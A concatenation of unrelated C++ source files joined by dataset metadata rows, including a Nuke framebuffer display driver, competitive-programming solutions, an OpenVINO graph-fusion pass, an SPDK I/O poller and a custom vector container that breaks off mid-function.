using namespace IECore;
using namespace IECoreImage;
using namespace IECoreNuke;
using namespace DD::Image;
using namespace Imath;
//////////////////////////////////////////////////////////////////////////
// DisplayDriverServer cache. Many nodes may all want to use a server on
// the same port. We therefore use an LRUCache to manage the lifetime of
// the servers and provide them to the nodes.
//////////////////////////////////////////////////////////////////////////
typedef LRUCache<int, DisplayDriverServerPtr> ServerCache;
// key is the port number for the server.
static DisplayDriverServerPtr serverCacheGetter( int key, size_t &cost )
{
cost = 1;
return new DisplayDriverServer( key );
}
// max cost of 4 means we will never have more than 4 unused servers at any one time.
static ServerCache g_servers( serverCacheGetter, 4 );
//////////////////////////////////////////////////////////////////////////
// NukeDisplayDriver implementation
//////////////////////////////////////////////////////////////////////////
namespace IECoreNuke
{
class NukeDisplayDriver : public IECoreImage::ImageDisplayDriver
{
public :
IE_CORE_DECLARERUNTIMETYPEDEXTENSION( NukeDisplayDriver, NukeDisplayDriverTypeId, IECoreImage::ImageDisplayDriver );
NukeDisplayDriver( const Imath::Box2i &displayWindow, const Imath::Box2i &dataWindow, const std::vector<std::string> &channelNames, ConstCompoundDataPtr parameters )
: ImageDisplayDriver( displayWindow, dataWindow, channelNames, parameters )
{
if( parameters )
{
m_parameters = parameters->copy();
}
else
{
m_parameters = new CompoundData;
}
instanceCreatedSignal( this );
}
virtual ~NukeDisplayDriver()
{
}
/// Returns a copy of the parameters used in creating this instance. This
/// is useful in recognising relevant instances in the instanceCreatedSignal.
ConstCompoundDataPtr parameters() const
{
return m_parameters;
}
/// Updates the current image, and then emits the dataReceivedSignal.
virtual void imageData( const Imath::Box2i &box, const float *data, size_t dataSize )
{
ImageDisplayDriver::imageData( box, data, dataSize );
dataReceivedSignal( this, box );
}
/// This signal is emitted when a new NukeDisplayDriver has been created.
/// This allows nuke nodes to pick up the new DisplayDrivers even when they're
/// created in some other code, such as a DisplayDriverServer.
typedef boost::signals2::signal<void( NukeDisplayDriver * )> InstanceCreatedSignal;
static InstanceCreatedSignal instanceCreatedSignal;
/// This signal is emitted when this NukeDisplayDriver instance receives new data.
typedef boost::signals2::signal<void( NukeDisplayDriver *, const Imath::Box2i &box )> DataReceivedSignal;
DataReceivedSignal dataReceivedSignal;
private :
static const DisplayDriverDescription<NukeDisplayDriver> g_description;
ConstCompoundDataPtr m_parameters;
};
NukeDisplayDriver::InstanceCreatedSignal NukeDisplayDriver::instanceCreatedSignal;
const DisplayDriver::DisplayDriverDescription<NukeDisplayDriver> NukeDisplayDriver::g_description;
} // namespace IECoreNuke
//////////////////////////////////////////////////////////////////////////
// DisplayIop implementation
//////////////////////////////////////////////////////////////////////////
const DD::Image::Iop::Description DisplayIop::g_description( "ieDisplay", DisplayIop::build );
DisplayIop::DisplayIop( Node *node )
: Iop( node ), m_portNumber( 1559 ), m_server( g_servers.get( m_portNumber ) ), m_updateCount( 0 ), m_driver( 0 )
{
inputs( 0 );
slowness( 0 ); // disable caching as we're buffering everything internally ourselves
NukeDisplayDriver::instanceCreatedSignal.connect( boost::bind( &DisplayIop::driverCreated, this, _1 ) );
}
DisplayIop::~DisplayIop()
{
NukeDisplayDriver::instanceCreatedSignal.disconnect( boost::bind( &DisplayIop::driverCreated, this, _1 ) );
connectToDriver( 0 );
}
const char *DisplayIop::Class() const
{
return "ieDisplay";
}
const char *DisplayIop::node_help() const
{
return "Acts as a framebuffer for external renderers.";
}
void DisplayIop::knobs( DD::Image::Knob_Callback f )
{
Iop::knobs( f );
Int_knob( f, &m_portNumber, "portNumber", "Port Number" );
// we must have KNOB_CHANGED_RECURSIVE set otherwise nuke doesn't give us knob_changed()
// calls when the knob value is changed from a knobChanged method of a PythonPanel.
SetFlags( f, Knob::KNOB_CHANGED_ALWAYS | Knob::KNOB_CHANGED_RECURSIVE | Knob::NO_ANIMATION );
Tooltip(
f,
"The port on which to receive images. This must match "
"the port being used by the renderer to send images."
);
}
int DisplayIop::knob_changed( DD::Image::Knob *knob )
{
if( knob->is( "portNumber" ) )
{
int portNumber = (int)this->knob( "portNumber" )->get_value();
m_server = g_servers.get( portNumber );
return 1;
}
return Iop::knob_changed( knob );
}
void DisplayIop::append( DD::Image::Hash &hash )
{
Iop::append( hash );
hash.append( __DATE__ );
hash.append( __TIME__ );
hash.append( firstDisplayIop()->m_updateCount );
}
void DisplayIop::_validate( bool forReal )
{
Box2i displayWindow( V2i( 0, 0 ), V2i( 255, 255 ) );
if( firstDisplayIop()->m_driver )
{
displayWindow = firstDisplayIop()->m_driver->image()->getDisplayWindow();
}
m_format = m_fullSizeFormat = Format( displayWindow.size().x + 1, displayWindow.size().y + 1 );
// these set function don't copy the format, but instead reference its address.
// we therefore have to store the format as member data.
info_.format( m_format );
info_.full_size_format( m_fullSizeFormat );
info_.set( m_format );
info_.channels( Mask_RGBA );
}
void DisplayIop::engine( int y, int x, int r, const DD::Image::ChannelSet &channels, DD::Image::Row &row )
{
Channel outputChannels[4] = { Chan_Red, Chan_Green, Chan_Blue, Chan_Alpha };
const char *inputChannels[] = { "R", "G", "B", "A", nullptr };
const ImagePrimitive *image = nullptr;
Box2i inputDataWindow;
Box2i inputDisplayWindow;
if( firstDisplayIop()->m_driver )
{
image = firstDisplayIop()->m_driver->image().get();
inputDataWindow = image->getDataWindow();
inputDisplayWindow = image->getDisplayWindow();
}
int i = 0;
while( inputChannels[i] )
{
const FloatVectorData *inputData = image ? image->getChannel<float>( inputChannels[i] ) : nullptr;
if( inputData )
{
float *output = row.writable( outputChannels[i] ) + x;
// remap coordinate relative to our data window. nuke images have pixel origin at bottom,
// cortex images have pixel origin at top.
V2i pDataWindow = V2i( x, inputDisplayWindow.max.y - y ) - inputDataWindow.min;
const float *input = &((inputData->readable())[pDataWindow.y*(inputDataWindow.size().x+1) + pDataWindow.x]);
memcpy( output, input, (r-x) * sizeof( float ) );
}
else
{
row.erase( outputChannels[i] );
}
i++;
}
}
DD::Image::Op *DisplayIop::build( Node *node )
{
return new DisplayIop( node );
}
DisplayIop *DisplayIop::firstDisplayIop()
{
return static_cast<DisplayIop *>( firstOp() );
}
void DisplayIop::driverCreated( NukeDisplayDriver *driver )
{
ConstStringDataPtr portNumber = driver->parameters()->member<StringData>( "displayPort" );
if( portNumber && boost::lexical_cast<int>( portNumber->readable() ) == m_portNumber )
{
firstDisplayIop()->connectToDriver( driver );
}
}
void DisplayIop::connectToDriver( NukeDisplayDriver *driver )
{
assert( this == firstDisplayIop() );
if( m_driver )
{
m_driver->dataReceivedSignal.disconnect( boost::bind( &DisplayIop::driverDataReceived, this, _1, _2 ) );
}
m_driver = driver;
if( m_driver )
{
m_driver->dataReceivedSignal.connect( boost::bind( &DisplayIop::driverDataReceived, this, _1, _2 ) );
}
m_updateCount++;
asapUpdate();
}
void DisplayIop::driverDataReceived( NukeDisplayDriver *driver, const Imath::Box2i &box )
{
assert( this == firstDisplayIop() );
m_updateCount++;
asapUpdate();
}
|
1e20992f00c021254dda565cd3747678553cd826 | b98b2c6fb9c1e83786bec93203bc8e70d4857ed8 | /5.cpp | d4d2a71776162682e0173b53ac4a0884386dc746 | [] | no_license | Hell4U/CodeJam | 8262f2bc00ad2b91977a08d265ba781b5ccf6029 | 7f67c5c1d3d4e9cd160d766b9a2645c2663de85d | refs/heads/master | 2021-05-22T13:31:42.513400 | 2020-04-05T05:12:10 | 2020-04-05T05:12:10 | 252,947,551 | 0 | 0 | null | 2020-04-04T08:32:54 | 2020-04-04T08:31:43 | null | UTF-8 | C++ | false | false | 1,217 | cpp | 5.cpp | #include <iostream>
#include<bits/stdc++.h>
using namespace std;
int mat[51][51],n,k;
bool rs[55][55],cs[55][55],done;
int p=0;
void indi(int r,int c,int trace);
int main() {
int t;
cin>>t;
p=0;
while(t--)
{
p++;
cin>>n>>k;
indi(1,1,0);
if(!done)
{
cout << "Case #"<<p<<": "<<"IMPOSSIBLE"<<endl;
}
done=false;
}
}
void indi(int r,int c,int trace)
{
if (r==n&&c==n+1&&trace==k&&!done)
{
done=true;
cout<<"Case #"<<p<<":"<<" POSSIBLE"<<endl;
for(int i=1;i<=n;i++)
{
for(int j=1;j<=n;j++)
cout<<mat[i][j]<<" ";
cout<<endl;
}
return;
}
else if(r>n)
return;
else if(c>n)
indi(r+1,1,trace);
for (int i=1;i<=n&&!done;i++)
{
if (!rs[r][i]&&!cs[c][i])
{
rs[r][i]=cs[c][i]=true;
if (r==c) {
trace+=i;
}
mat[r][c]=i;
indi(r,c+1,trace);
rs[r][i]=cs[c][i]=false;
if (r==c)
{
trace -= i;
}
mat[r][c] = 0;
}
}
} |
6307b95c7804cb6cf8805a3828503b3008b5c8d2 | 71f8c321d55394719a3f21baf6bce84268f1ae3a | /VECTAR7.cpp | dd808d9c44c85af3cb474e34c4c535b1e1702fc6 | [] | no_license | crazymerlyn/spoj | 23fce670514526284ec7abe93f7c79862a42b32b | 2db89a5fe032b26169c2ad50d26b93276d0ef4c3 | refs/heads/master | 2022-09-19T21:45:12.375111 | 2022-08-27T14:45:12 | 2022-08-27T14:45:12 | 180,408,919 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 832 | cpp | VECTAR7.cpp | #include <bits/stdc++.h>
using namespace std;
long long mod = 1e9 + 7;
long long mypow(long long a, long long b) {
long long res = 1;
while (b) {
if (b % 2) res = res * a % mod;
a = a * a % mod;
b /= 2;
}
return res;
}
long long comb(int n, int r) {
long long num = 1, denom = 1;
for (int i = 1; i <= r; ++i) {
denom = denom * i % mod;
num = num * (n - i + 1) % mod;
}
return num * mypow(denom, mod - 2) % mod;
}
long long ways(int a, int b) {
if (b <= 24) return 0;
if (a >= 24 && b - a != 2) return 0;
long long res = comb(min(a, 24) + 24, 24);
return res * mypow(2, max(0, a - 24)) % mod;
}
int main() {
int t; cin >> t;
while (t--) {
int a, b; cin >> a >> b;
cout << ways(min(a, b), max(a, b)) << endl;
}
}
|
2cb2f087d97b1450ba535ae7e28c0f80023e3721 | 8a4a0742a8d8fc96d4a13c24ec98293b83d55368 | /leetcode.051-100/090.subsets-ii/main.cpp | a8c67681c5a843aa9610b5e080415d6f11a0f15e | [
"MIT"
] | permissive | cloudy064/leetcode | 5cee7968a30706450772d2593de4adb0a36db259 | b85ec4aed57542247ac4762883bd7fe80b3cfbab | refs/heads/master | 2020-03-20T19:10:51.147123 | 2019-04-12T09:22:32 | 2019-04-12T09:22:32 | 137,625,270 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,808 | cpp | main.cpp | //
// main.cpp
// leetcode.050-100
//
// Created by 常永耘 on 2019/4/12.
// Copyright © 2019 cloudy064. All rights reserved.
//
#include "common.h"
class Solution {
public:
vector<vector<int>> subsetsWithDup(vector<int>& nums) {
if (nums.empty()) return {};
sort(nums.begin(), nums.end());
vector<pair<int, int>> limits;
vector<pair<int, int>> appear;
int last = nums[0];
limits.push_back({nums[0], 1});
appear.push_back({nums[0], 0});
for (int i = 1; i < nums.size(); ++i) {
if (nums[i] != last) {
limits.push_back({nums[i], 1});
appear.push_back({nums[i], 0});
last = nums[i];
} else {
limits.back().second += 1;
}
}
vector<vector<int>> result;
vector<int> temp;
while (true) {
for (int i = 0; i <= limits[0].second; i++) {
appear[0].second = i;
temp.clear();
for (int j = 0; j < appear.size(); j++) {
if (appear[j].second == 0) continue;
temp.insert(temp.end(), appear[j].second, appear[j].first);
}
result.push_back(temp);
}
int k = 0;
for (; k < appear.size(); k++) {
if (appear[k].second < limits[k].second) {
appear[k].second++;
break;
}
appear[k].second = 0;
}
if (k == appear.size()) break;
}
return result;
}
};
class TestSolution : public ::testing::Test {
public:
Solution sln;
};
TEST_F(TestSolution, t1) {
vector<int> nums = {1,2,2,1};
vector<vector<int>> expect = {
{},
{1},
{1,1},
{2},
{1,2},
{1,1,2},
{2,2},
{1,2,2},
{1,1,2,2}
};
auto result = sln.subsetsWithDup(nums);
sort(expect.begin(), expect.end());
sort(result.begin(), result.end());
EXPECT_EQ(expect, result);
}
TEST_F(TestSolution, t2) {
vector<int> nums;
vector<vector<int>> expect = {
};
auto result = sln.subsetsWithDup(nums);
sort(expect.begin(), expect.end());
sort(result.begin(), result.end());
EXPECT_EQ(expect, result);
}
TEST_F(TestSolution, t3) {
vector<int> nums = {1};
vector<vector<int>> expect = {
{},
{1}
};
auto result = sln.subsetsWithDup(nums);
sort(expect.begin(), expect.end());
sort(result.begin(), result.end());
EXPECT_EQ(expect, result);
}
GTEST_MAIN
|
b5ecc5c44f67004841e4b5c3f0b463035b2c9e1c | 39a1d46fdf2acb22759774a027a09aa9d10103ba | /inference-engine/src/transformations/src/transformations/common_optimizations/mul_fake_quantize_fusion.cpp | 1fcff0ac15cc4f297bf0aff00d2ea481cae7872e | [
"Apache-2.0"
] | permissive | mashoujiang/openvino | 32c9c325ffe44f93a15e87305affd6099d40f3bc | bc3642538190a622265560be6d88096a18d8a842 | refs/heads/master | 2023-07-28T19:39:36.803623 | 2021-07-16T15:55:05 | 2021-07-16T15:55:05 | 355,786,209 | 1 | 3 | Apache-2.0 | 2021-06-30T01:32:47 | 2021-04-08T06:22:16 | C++ | UTF-8 | C++ | false | false | 6,472 | cpp | mul_fake_quantize_fusion.cpp | // Copyright (C) 2018-2021 Intel Corporation
// SPDX-License-Identifier: Apache-2.0
//
#include "transformations/common_optimizations/mul_fake_quantize_fusion.hpp"
#include "transformations/utils/utils.hpp"
#include <memory>
#include <vector>
#include <ngraph/opsets/opset5.hpp>
#include <ngraph/rt_info.hpp>
#include <ngraph/pattern/op/wrap_type.hpp>
#include "itt.hpp"
NGRAPH_RTTI_DEFINITION(ngraph::pass::MulFakeQuantizeFusion, "MulFakeQuantizeFusion", 0);
ngraph::pass::MulFakeQuantizeFusion::MulFakeQuantizeFusion() {
MATCHER_SCOPE(MulFakeQuantizeFusion);
auto input_pattern = ngraph::pattern::any_input();
auto const_pattern = ngraph::pattern::wrap_type<opset5::Constant>();
auto mul_pattern = ngraph::pattern::wrap_type<opset5::Multiply>({input_pattern, const_pattern},
pattern::consumers_count(1));
auto fq_pattern = ngraph::pattern::wrap_type<opset5::FakeQuantize>({mul_pattern,
ngraph::pattern::any_input(),
ngraph::pattern::any_input(),
ngraph::pattern::any_input(),
ngraph::pattern::any_input()});
ngraph::matcher_pass_callback callback = [=](pattern::Matcher& m) {
const auto& pattern_value_map = m.get_pattern_value_map();
auto fq = std::dynamic_pointer_cast<opset5::FakeQuantize>(pattern_value_map.at(fq_pattern).get_node_shared_ptr());
if (!fq)
return false;
auto mul_const = std::dynamic_pointer_cast<opset5::Constant>(pattern_value_map.at(const_pattern).get_node_shared_ptr());
if (!mul_const)
return false;
auto mul_const_value = mul_const->cast_vector<float>();
if (std::any_of(mul_const_value.begin(), mul_const_value.end(), [] (float f) -> bool { return f == 0.0f; }))
return false;
auto const_shape = mul_const->get_shape();
size_t const_shape_size = shape_size(const_shape);
if (const_shape_size > 1) {
// disallow constant shapes other than (N, 1, 1, ..., 1) or (1, C, 1, ..., 1)
if (!(const_shape[0] > 1 && const_shape[0] == const_shape_size) &&
!(const_shape.size() > 1 && const_shape[1] == const_shape_size)) {
return false;
}
}
std::shared_ptr<Node> mul_const_node = mul_const;
if (const_shape_size > 1 &&
static_cast<Dimension::value_type>(const_shape.size()) < fq->get_input_partial_shape(0).rank().get_length()) {
// Reshape constants like (C, 1, 1) to (1, C, 1, 1)
const_shape.insert(const_shape.begin(), fq->get_input_partial_shape(0).rank().get_length() - const_shape.size(), 1);
mul_const_node = std::make_shared<opset5::Reshape>(mul_const_node,
op::Constant::create(element::u64, Shape{const_shape.size()}, const_shape), false);
}
auto new_input_low = std::make_shared<opset5::Divide>(fq->input_value(1), mul_const_node);
auto new_input_high = std::make_shared<opset5::Divide>(fq->input_value(2), mul_const_node);
auto mul = pattern_value_map.at(mul_pattern).get_node_shared_ptr();
const auto& mul_data = pattern_value_map.at(input_pattern);
std::shared_ptr<Node> new_fq;
if (std::all_of(mul_const_value.begin(), mul_const_value.end(), [] (float f) -> bool { return f < 0.0f; })) {
new_fq = register_new_node<opset5::FakeQuantize>(mul_data, new_input_low, new_input_high,
fq->input_value(4), fq->input_value(3), fq->get_levels());
copy_runtime_info({mul, fq}, {mul_const_node, new_input_low, new_input_high, new_fq});
} else if (std::any_of(mul_const_value.begin(), mul_const_value.end(), [] (float f) -> bool { return f < 0.0f; })) {
const auto& output_low = fq->input_value(3);
const auto& output_high = fq->input_value(4);
// get the mask of the values from mul_const that are less than zero
std::vector<float> less_than_zero;
less_than_zero.reserve(mul_const_value.size());
// and greater or equal to zero
std::vector<float> greater_eq_zero;
greater_eq_zero.reserve(mul_const_value.size());
for (size_t i = 0; i < mul_const_value.size(); i++) {
less_than_zero.push_back(mul_const_value[i] < 0);
greater_eq_zero.push_back(mul_const_value[i] >= 0);
}
auto less_const = op::Constant::create(output_low.get_element_type(), const_shape, less_than_zero);
auto greater_eq_const = op::Constant::create(output_low.get_element_type(), const_shape, greater_eq_zero);
// new_output_low is defined as follows:
// output_low[i], when mul_const[i] >= 0
// output_high[i], when mul_const[i] < 0
auto new_output_low = std::make_shared<opset5::Add>(
std::make_shared<opset5::Multiply>(greater_eq_const, output_low),
std::make_shared<opset5::Multiply>(less_const, output_high));
// new_output_high is defined as follows:
// output_high[i], when mul_const[i] >= 0
// output_low[i], when mul_const[i] < 0
auto new_output_high = std::make_shared<opset5::Add>(
std::make_shared<opset5::Multiply>(greater_eq_const, output_high),
std::make_shared<opset5::Multiply>(less_const, output_low));
new_fq = register_new_node<opset5::FakeQuantize>(mul_data, new_input_low,
new_input_high, new_output_low, new_output_high, fq->get_levels());
} else {
new_fq = register_new_node<opset5::FakeQuantize>(mul_data, new_input_low, new_input_high,
fq->input_value(3), fq->input_value(4), fq->get_levels());
}
copy_runtime_info({mul, fq}, {mul_const_node, new_input_low, new_input_high, new_fq});
new_fq->set_friendly_name(fq->get_friendly_name());
replace_node(fq, new_fq);
return true;
};
auto m = std::make_shared<ngraph::pattern::Matcher>(fq_pattern, matcher_name);
this->register_matcher(m, callback);
}
|
5576969db089750955855d31237d370dad1cb8d0 | 96a72e0b2c2dae850d67019bc26b73864e680baa | /Study/System/Lecture/source/Chap.05/EchoSvrESWP/WaitPool.h | 07dc3b6ccf955028404a177e3669e4f752e8a777 | [] | no_license | SeaCanFly/CODE | 7c06a81ef04d14f064e2ac9737428da88f0957c7 | edf9423eb074861daf5063310a894d7870fa7b84 | refs/heads/master | 2021-04-12T12:15:58.237501 | 2019-07-15T05:02:09 | 2019-07-15T05:02:09 | 126,703,006 | 3 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 466 | h | WaitPool.h | #pragma once
#include "set"
#include "map"
typedef PVOID WP_ITEM;
typedef PVOID WP_SET;
typedef void(WINAPI *PFN_WICB)(PVOID pParma);
class WaitPool
{
typedef std::map<HANDLE, WP_ITEM> ITEM_MAP;
ITEM_MAP m_waits;
HANDLE m_hmuMap;
typedef std::set<WP_SET> ITEM_SET;
ITEM_SET m_sets;
HANDLE m_hmuSet;
public:
WP_ITEM Register(HANDLE hSync, PFN_WICB pfnCB, PVOID pPrm);
bool Unregister(WP_ITEM wpi);
void Start(int nMaxCnt = INT_MAX);
void Stop();
};
|
45a043d3c0ad641f901a4c0876032dfa9713a9cd | 6c3a8aa11aa1b8377819948832424bab23848aad | /AsrServiceProxy/config/include/detail/config_delayed_merge_object.hpp | f5c6a2d16bb540c074bdf4b71f6d899efecec34a | [] | no_license | Lance-Gao/OneThingAssist | ba1dba04b403b17982a65058b88045e3c9744142 | 6a761e992e05b800dc20911d53d0c90a2c0d5e06 | refs/heads/master | 2023-08-04T06:02:56.809040 | 2021-09-13T10:58:10 | 2021-09-13T10:58:10 | 380,262,801 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,688 | hpp | config_delayed_merge_object.hpp |
#ifndef CONFIG_CONFIG_DELAYED_MERGE_OBJECT_HPP
#define CONFIG_CONFIG_DELAYED_MERGE_OBJECT_HPP
#include "detail/abstract_config_object.hpp"
#include "detail/unmergeable.hpp"
#include "detail/replaceable_merge_stack.hpp"
#include "detail/resolve_replacer.hpp"
namespace config {
///
/// _this is just like ConfigDelayedMergeObject except we know statically
/// that it will turn out to be an object.
///
class ConfigDelayedMergeObject : public AbstractConfigObject, public virtual Unmergeable,
public virtual ReplaceableMergeStack {
public:
CONFIG_CLASS(ConfigDelayedMergeObject);
ConfigDelayedMergeObject(const ConfigOriginPtr& origin,
const VectorAbstractConfigValue& stack);
virtual AbstractConfigObjectPtr new_copy(ResolveStatus status,
const ConfigOriginPtr& origin) override;
virtual AbstractConfigValuePtr resolve_substitutions(const ResolveContextPtr& context)
override;
virtual ResolveReplacerPtr make_replacer(uint32_t skipping) override;
virtual ResolveStatus resolve_status() override;
virtual AbstractConfigValuePtr relativized(const PathPtr& prefix) override;
virtual bool ignores_fallbacks() override;
protected:
using AbstractConfigObject::merged_with_the_unmergeable;
virtual AbstractConfigValuePtr merged_with_the_unmergeable(const UnmergeablePtr& fallback)
override;
using AbstractConfigObject::merged_with_object;
virtual AbstractConfigValuePtr merged_with_object(const AbstractConfigObjectPtr& fallback)
override;
using AbstractConfigObject::merged_with_non_object;
virtual AbstractConfigValuePtr merged_with_non_object(const AbstractConfigValuePtr&
fallback) override;
public:
virtual ConfigMergeablePtr with_fallback(const ConfigMergeablePtr& other) override;
virtual ConfigObjectPtr with_only_key(const std::string& key) override;
virtual ConfigObjectPtr without_key(const std::string& key) override;
virtual AbstractConfigObjectPtr with_only_path_or_null(const PathPtr& path) override;
virtual AbstractConfigObjectPtr with_only_path(const PathPtr& path) override;
virtual AbstractConfigObjectPtr without_path(const PathPtr& path) override;
virtual ConfigObjectPtr with_value(const std::string& key,
const ConfigValuePtr& value) override;
virtual ConfigObjectPtr with_value(const PathPtr& path,
const ConfigValuePtr& value) override;
virtual VectorAbstractConfigValue unmerged_values() override;
protected:
virtual bool can_equal(const ConfigVariant& other) override;
public:
virtual bool equals(const ConfigVariant& other) override;
virtual uint32_t hash_code() override;
virtual void render(std::string& s,
uint32_t indent,
const boost::optional<std::string>& at_key,
const ConfigRenderOptionsPtr& options) override;
virtual void render(std::string& s,
uint32_t indent,
const ConfigRenderOptionsPtr& options) override;
private:
static ConfigExceptionNotResolved not_resolved();
public:
virtual ConfigVariant unwrapped() override;
virtual ConfigValuePtr get(const std::string& key) override;
virtual MapConfigValue::const_iterator begin() const override;
virtual MapConfigValue::const_iterator end() const override;
virtual MapConfigValue::mapped_type operator[](const MapConfigValue::key_type& key) const
override;
virtual bool empty() const override;
virtual MapConfigValue::size_type size() const override;
virtual MapConfigValue::size_type count(const MapConfigValue::key_type& key) const override;
virtual MapConfigValue::const_iterator find(const MapConfigValue::key_type& key) const
override;
virtual AbstractConfigValuePtr attempt_peek_with_partial_resolve(const std::string& key)
override;
private:
VectorAbstractConfigValue stack;
};
class ConfigDelayedMergeObjectResolveReplacer : public virtual ResolveReplacer,
public ConfigBase {
public:
CONFIG_CLASS(ConfigDelayedMergeObjectResolveReplacer);
ConfigDelayedMergeObjectResolveReplacer(const VectorAbstractConfigValue& stack,
uint32_t skipping);
protected:
virtual AbstractConfigValuePtr make_replacement(const ResolveContextPtr& context) override;
private:
const VectorAbstractConfigValue& stack;
uint32_t skipping;
};
}
#endif // CONFIG_CONFIG_DELAYED_MERGE_OBJECT_HPP
|
daca6d76f267a1fab062d01fb559c4488b928da7 | 37d433dd8d5d0968fcd7866e98e85d25290f90fc | /test/bdev/bdevc++/io/IoPoller.cpp | 5ef003d88ed25389a8b7ce3b535d30e2bf279d4e | [
"BSD-3-Clause"
] | permissive | janlt/spdk | 454294b7e17526922902d8d83c99c99563e67a8a | 263a281579bd956acf596cd3587872c209050816 | refs/heads/master | 2021-05-18T20:06:26.695445 | 2020-09-24T08:17:51 | 2020-09-24T08:17:51 | 251,393,718 | 1 | 0 | NOASSERTION | 2020-03-30T18:29:01 | 2020-03-30T18:29:00 | null | UTF-8 | C++ | false | false | 3,434 | cpp | IoPoller.cpp | /**
* Copyright (c) 2019 Intel Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <stdio.h>
#include <time.h>
#include <iostream>
#include <pthread.h>
#include <thread>
#include <boost/asio.hpp>
#include <boost/filesystem.hpp>
#include "spdk/stdinc.h"
#include "spdk/cpuset.h"
#include "spdk/queue.h"
#include "spdk/log.h"
#include "spdk/thread.h"
#include "spdk/event.h"
#include "spdk/ftl.h"
#include "spdk/conf.h"
#include "spdk/env.h"
#include "IoPoller.h"
#define LAYOUT "queue"
#define CREATE_MODE_RW (S_IWUSR | S_IRUSR)
namespace BdevCpp {
IoPoller::IoPoller(SpdkCore *_spdkCore)
: Poller<IoRqst>(false), spdkCore(_spdkCore) {}
IoPoller::~IoPoller() {
isRunning = 0;
}
void IoPoller::_processRead(IoRqst *rqst) {
if (rqst == nullptr) {
_rqstClb(rqst, StatusCode::UNKNOWN_ERROR);
return;
}
SpdkDevice *spdkDev = getBdev();
if (!rqst->dataSize) {
_rqstClb(rqst, StatusCode::OK);
if (rqst->inPlace == false)
IoRqst::writePool.put(rqst);
return;
}
DeviceTask *ioTask =
new (rqst->taskBuffer) DeviceTask{0,
rqst->dataSize,
spdkDev->getBlockSize(),
0,
rqst->clb,
spdkDev,
rqst,
IoOp::READ,
rqst->lba,
rqst->lun};
if (spdkDev->read(ioTask) != true) {
_rqstClb(rqst, StatusCode::UNKNOWN_ERROR);
if (rqst->inPlace == false)
IoRqst::readPool.put(rqst);
}
}
void IoPoller::_processWrite(IoRqst *rqst) {
if (rqst == nullptr) {
_rqstClb(rqst, StatusCode::UNKNOWN_ERROR);
return;
}
SpdkDevice *spdkDev = getBdev();
if (!rqst->dataSize || !rqst->data) {
_rqstClb(rqst, StatusCode::OK);
if (rqst->inPlace == false)
IoRqst::writePool.put(rqst);
return;
}
DeviceTask *ioTask = new (rqst->taskBuffer)
DeviceTask{0,
rqst->dataSize,
spdkDev->getBlockSize(),
new (rqst->devAddrBuf) DeviceAddr,
rqst->clb,
spdkDev,
rqst,
IoOp::WRITE,
rqst->lba,
rqst->lun};
if (spdkDev->write(ioTask) != true) {
_rqstClb(rqst, StatusCode::UNKNOWN_ERROR);
if (rqst->inPlace == false)
IoRqst::writePool.put(rqst);
}
}
void IoPoller::process() {
if (requestCount > 0) {
for (unsigned short RqstIdx = 0; RqstIdx < requestCount; RqstIdx++) {
IoRqst *rqst = requests[RqstIdx];
switch (rqst->op) {
case IoOp::READ:
_processRead(rqst);
break;
case IoOp::WRITE: {
_processWrite(rqst);
break;
}
default:
break;
}
}
requestCount = 0;
}
}
} // namespace BdevCpp
|
1752ed08b369b1aafa62dc170268f31d31fb85b2 | 5af68d43b182694e6955be8de0a84ecea20c078d | /BlackCat.Core/Core/Container/bcVector.h | 2014824f28e9dbf9e7922a4d49eec0fd5383dffe | [] | no_license | coder965/BlackCat-Engine | 1ed5c3d33c67c537eaa1ae7d1afe40192296e03f | a692f95d5c5f0c86ababa0c5ecc06531f569f500 | refs/heads/master | 2020-03-18T21:41:31.035603 | 2017-04-15T16:53:26 | 2017-04-15T16:53:26 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 32,584 | h | bcVector.h | // [12/20/2014 MRB]
#pragma once
#include "Core/CorePCH.h"
#include "Core/Container/bcContainer.h"
namespace black_cat
{
namespace core
{
template < typename T, class TAllocator >
class bc_vector_base : public bc_container< T, TAllocator >
{
public:
using this_type = bc_vector_base;
using base_type = bc_container< T, TAllocator >;
using value_type = typename base_type::value_type;
using allocator_type = typename base_type::allocator_type;
using pointer = typename base_type::pointer;
using const_pointer = typename base_type::const_pointer;
using reference = typename base_type::reference;
using const_reference = typename base_type::const_reference;
using difference_type = typename base_type::difference_type;
using size_type = typename base_type::size_type;
protected:
using node_type = bc_container_node< value_type >;
using node_pointer = typename std::pointer_traits< pointer >::template rebind< node_type >;
using internal_allocator_type = typename bc_allocator_traits< allocator_type >::template rebind_alloc< node_type >::other;
public:
bc_vector_base(const allocator_type& p_allocator = allocator_type())
:m_capacity(0),
m_first(nullptr),
m_allocator(p_allocator)
{
}
~bc_vector_base() = default;
size_type capacity() const
{
return m_capacity;
};
protected:
bool iterator_validate(const node_type* p_node) const noexcept(true)
{
return p_node && p_node >= m_first && p_node <= _get_end();
}
bcINT32 iterator_compare(const node_type* p_first, const node_type* p_second) const noexcept(true)
{
return p_first == p_second ? 0 : p_first > p_second ? 1 : -1;
}
value_type* iterator_dereference(node_type* p_node) const noexcept(true)
{
return std::addressof(p_node->m_value);
}
node_type* iterator_increment(node_type* p_node) const noexcept(true)
{
return ++p_node;
}
node_type* iterator_decrement(node_type* p_node) const noexcept(true)
{
return --p_node;
}
node_type* iterator_increment(node_type* p_node, difference_type p_step) const noexcept(true)
{
return p_node + p_step;
}
node_type* iterator_decrement(node_type* p_node, difference_type p_step) const noexcept(true)
{
return p_node - p_step;
}
void iterator_swap(node_type** p_first, node_type** p_second) const noexcept(true)
{
std::swap(*p_first, *p_second);
}
bcInline node_type* _get_end() const { return m_first + base_type::m_size; }
bcInline void _move_elements(node_type* p_dest, node_type* p_src, size_type p_count)
{
for (bcUINT32 l_i = 0; l_i < p_count; ++l_i)
{
bc_allocator_traits<internal_allocator_type>::construct(
m_allocator,
p_dest + l_i,
std::move(*(p_src + l_i)));
//// If elements has been copied call thier destructions
//if (!std::is_move_constructible<node_type>::value)
{
